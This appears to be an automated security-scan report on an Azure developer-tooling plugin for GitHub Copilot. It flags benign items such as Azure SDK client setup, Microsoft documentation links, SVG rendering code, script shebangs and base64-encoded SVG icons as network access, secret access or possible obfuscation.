service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential()) - Network accessline 47
const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential()); - Network accessline 58
var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential()); - Network accessline 70
BlobServiceClient client = new BlobServiceClientBuilder() .endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 71
.endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 90
func main() { cred, _ := azidentity.NewDefaultAzureCredential(nil) client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 92
client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 104
let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", - Network accessline 105
let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", "my-container", - Network accessline 106
"https://ACCOUNT.blob.core.windows.net/",
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-blob-ts.md
- Network accessline 12
import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md
- Network accessline 12
import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-queue-ts.md
- Network accessline 12
import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/.gitignore
- Access to secretsline 23
[Credential-related source omitted]
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md
- Network accessline 32
| ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 33
|----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso - Network accessline 34
| A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 35
| A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles | - Network accessline 36
| A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure | - Network accessline 37
| A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub | - Network accessline 38
| A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure | - Network accessline 39
| A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) | - Network accessline 40
| A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide | - Network accessline 41
| A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding | - Network accessline 42
| A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap | - Network accessline 48
| Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target | - Network accessline 50
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md
- Network accessline 13
| Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 14
|---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc - Network accessline 15
| CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 16
| AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices | - Network accessline 17
| Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts | - Network accessline 18
| Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults | - Network accessline 19
| Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks | - Network accessline 20
| Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints | - Network accessline 21
| Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones | - Network accessline 22
| Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities | - Network accessline 23
| Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories | - Network accessline 24
| Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components | - Network accessline 25
| ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces | - Network accessline 33
https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType} - Network accessline 42
| Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 43
|--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" - Network accessline 44
| MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 55
| Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 57
| PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 67
| Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 69
| Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 77
| Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | - Network accessline 78
|--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification | - Network accessline 79
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/bicep-generator.md
- Network accessline 21
**Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 22
1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models - Network accessline 48
### Always Fetch (Dynamic) - Network accessline 68
1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure - Network accessline 69
2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch - Network accessline 70
3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf - Network accessline 71
4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/phase1-advisor.md
- Network accessline 162
- **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i - Network accessline 163
- If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal - Network accessline 164
- Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - Network accessline 183
// 1. SKU question ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 184
ask_user({ question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", choices: [ - Network accessline 185
question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier", - Network accessline 194
// 2. Region question (separate call — only 1 question per call) ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 195
ask_user({ question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", choices: [ - Network accessline 196
question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models", - Network accessline 325
Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" - Network accessline 326
Write-Host " 1. winget install Python.Python.3.12" Write-Host " 2. Download from https://www.python.org/downloads/" Write-Host " 3. Search for 'Python 3.12' in the Microsoft Store and install" - Network accessline 327
Write-Host " 2. Download from https://www.python.org/downloads/"
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/service-gotchas.md
- Network accessline 59
> > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure - Network accessline 61
> https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/cli.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/generator.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 528
<title>{title}</title> <style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 529
<style> @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); * {{ box-sizing: border-box; margin: 0; padding: 0; }} - Network accessline 530
@import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap'); - Network accessline 1139
const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1147
const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network'; const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1148
const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 1168
if (gb.isPE) {{ // PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1169
// PE group — always draw with dashed style const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1170
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1177
}} else {{ // Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1178
// Service group (category or RG) const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y); - Network accessline 1179
const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1190
// Title bar const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1191
const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1196
titleBar.setAttribute('opacity', '0.1'); root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1197
root.appendChild(titleBar); const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8); - Network accessline 1198
const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1204
// Color accent line const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1205
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1211
// Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1212
const label = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 1253
const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 1261
const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2533
const path = document.createElementNS('http://www.w3.org/2000/svg', 'path'); - Network accessline 2603
const nw = isPe ? PE_W : SVC_W; const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2604
const nh = isPe ? PE_H : SVC_H; const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.setAttribute('class', 'node'); - Network accessline 2605
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2610
// Card background — full clickable area const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2611
const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2619
// Color accent bar at top const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2620
const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2630
if (node.icon_data_uri) {{ // Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2631
// Official Azure icon (Base64 image) const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); - Network accessline 2632
const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image'); - Network accessline 2633
iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY); iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data - Network accessline 2634
iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize); iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); g.appendChild(iconImg); - Network accessline 2635
iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri); - Network accessline 2637
}} else {{ // Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2638
// Fallback: built-in SVG text icon const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY); - Network accessline 2639
const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); - Network accessline 2647
// Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room) const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2648
const name = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2658
// SKU label if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2659
if (!isPe && node.sku) {{ const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); sku.setAttribute('x', nw/2); sku.setAttribute('y', 90); - Network accessline 2660
const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2669
if (isPe && node.details.length > 0) {{ const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2670
const det = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2697
}}; const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2698
const typeLabel = TYPE_LABELS[node.type] || node.type; const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14); - Network accessline 2699
const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text'); - Network accessline 2709
// Private badge on card if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2710
if (node.private && !isPe) {{ const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2711
const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2712
const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2758
// ── Edge labels (rendered AFTER nodes — always visible on top) ── _edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2759
_edgeLabels.forEach(el => {{ const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); g.classList.add('edge-label'); - Network accessline 2760
const g = document.createElementNS('http://www.w3.org/2000/svg', 'g'); - Network accessline 2762
g.setAttribute('data-from', el.from); g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2763
g.setAttribute('data-to', el.to); const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); r.classList.add('edge-label-bg'); - Network accessline 2764
const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect'); - Network accessline 2765
r.classList.add('edge-label-bg'); const t = document.createElementNS('http://www.w3.org/2000/svg', 'text'); const bw = el.label.length * 6 + 10; - Network accessline 2766
const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');
harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/icons.py
- Executable scriptline 1
Executable file - Possible obfuscationline 7
"b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3 - Possible obfuscationline 12
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9 - Possible obfuscationline 17
"b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1 - Possible obfuscationline 22
"b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx - Possible obfuscationline 27
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i - Possible obfuscationline 32
"b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1 - Possible obfuscationline 37
"b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2 - Possible obfuscationline 42
"b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2 - Possible obfuscationline 47
"b64": "PHN2ZyBpZD0idXVpZC1jNmMzZjc1ZS01MzY5LTQ0OGUtYjg5NS0zZjk5ZmIxMWJlYmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik03LjQ1Ni42MDhjLS45MDItLjQxMS0xLjkwOS0uNTU5LTIu - Possible obfuscationline 52
"b64": "PHN2ZyBpZD0idXVpZC1jZDVhOGI0MC00MDRiLTQ2NTAtOGFkNS0zNjE0YWYwMTUyZjkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC1hMmY4NmI4NC05Nzg1 - Possible obfuscationline 57
"b64": "PHN2ZyBpZD0idXVpZC1hOGI5NGNjMS1lNGQ3LTRmMjYtOGZiZS05M2Q3OWM3MTQ3ZTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iODRiMmM4OS00NjI5 - Possible obfuscationline 62
"b64": "PHN2ZyBpZD0iYTlmNTZiNGUtMmE1MS00NDcxLTk0ODgtZDQ2MTQwOGFlNGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU0ZTFlNDk0LTIxZjEtNGU5Yy1hNmZh - Possible obfuscationline 67
"b64": "PHN2ZyBpZD0iZTBiNGY0NDctZDVhOS00N2UzLTkwZTEtZjIxODRiYjlkMTRhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZmM1MzkyLTlmNDUtNDczZS1hMmQ0 - Possible obfuscationline 72
"b64": "PHN2ZyBpZD0iYTZkZjkzOTMtMmJkNy00YWM0LWJhMDYtYWI1ZjE2ZmY1OTIzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkNTkxYjM1LTBlMDEtNDYxMC1hMDI1 - Possible obfuscationline 77
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiZWM1NDdjLWFiZTYtNDBmZi05NGJiLWM4YWU0OTM2ZDNiYSIgeDE9IjEwLjA4NCIgeTE9IjEuMzA5IiB4Mj0i - Possible obfuscationline 82
"b64": "PHN2ZyBpZD0idXVpZC00MzFhNzU5Yy1hMjlkLTQ2NzgtODllZS01YjFiMjY2NmY4OTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0xMDQ3OGU2OC0xMDA5 - Possible obfuscationline 87
"b64": "PHN2ZyBpZD0iZmUzNjYwOTktYTJiMS00MjZlLWJmMTQtNWZhYzNhZjI2MzNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkODNmMTY5LTEwNmMtNDg4OC04OTc0 - Possible obfuscationline 92
"b64": "PHN2ZyBpZD0iZjc4ZWYzN2ItZmRlNC00NjFjLTk0ZTItZGNjZmYzMmRkNWQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOGE5NTgzLWFhZTktNDhmZi04N2Q4 - Possible obfuscationline 97
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmN2ExYTlmLWUxYTctNDcxYS1iNzZlLTFkMmVhNDNhOGQxMSIgeDE9IjguOTI0IiB5MT0iNzg1LjE0NSIgeDI9 - Possible obfuscationline 102
"b64": "PHN2ZyBpZD0idXVpZC04YzNlZGU0My01NTZkLTRjNjAtYjhlYi1lYTMwMGE5Yzg3NjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1kNmQwMjE2Mi03MDMx - Possible obfuscationline 107
"b64": "PHN2ZyBpZD0iYjYyZmU1M2QtZDEwMi00ODhlLWJlZGYtM2I3YTQ4YWExNGJmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiYWEyNDRkLTdhNzMtNGRlZi1hZTMz - Possible obfuscationline 112
